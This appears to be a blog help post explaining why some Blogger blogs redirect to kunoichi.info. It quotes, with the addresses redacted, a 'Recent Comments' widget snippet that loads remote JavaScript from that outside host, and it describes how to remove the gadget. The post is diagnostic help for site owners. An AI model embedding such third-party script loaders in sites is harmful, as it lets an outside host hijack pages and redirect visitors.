Blogger Blogs Redirecting To "kunoichi . info"

In the latest round of blog hijacks, from misbehaving or miswritten accessory gadgets, we have reports this month in Blogger Help Forum: Something Is Broken about blogs redirecting to "kunoichi . info".

My Blogger site, xxxxxxx . blogspot . com, with over 8 years of blog posts archived, has been redirected without my permission, to "kunoichi . info". I see my blog for a few seconds before it goes to the new site.

If we use a text only browser, such as an HTTP trace utility, the offending code is directly visible. Here's an example, taken from the latest forum problem report (and rigourously redacted).

<div class='widget HTML' id='HTML2'>
<h2 class='title'>Recent Comments</h2>
<div class='widget-content'>

<script style="text/javascript" src="http : // kunoichi . info / blogger _ buster / comments.js"></script><script style="text/javascript">var a_rc=5;var m_rc=true;var n_rc=true;var o_rc=100;</script><script src="http : // xxxxxxx . blogspot . com /feeds/comments/default?alt=json-in-script&callback=showrecentcomments"></script>

So far, identification and removal, of the problem code, seems to be straightforward - just access the "Page Elements" wizard (Classic Blogger GUI) or the "Layout" menu wizard (New Blogger GUI), find the offending gadget, and remove it. As always, you are advised to clear cache and restart the browser, after removal and before testing.

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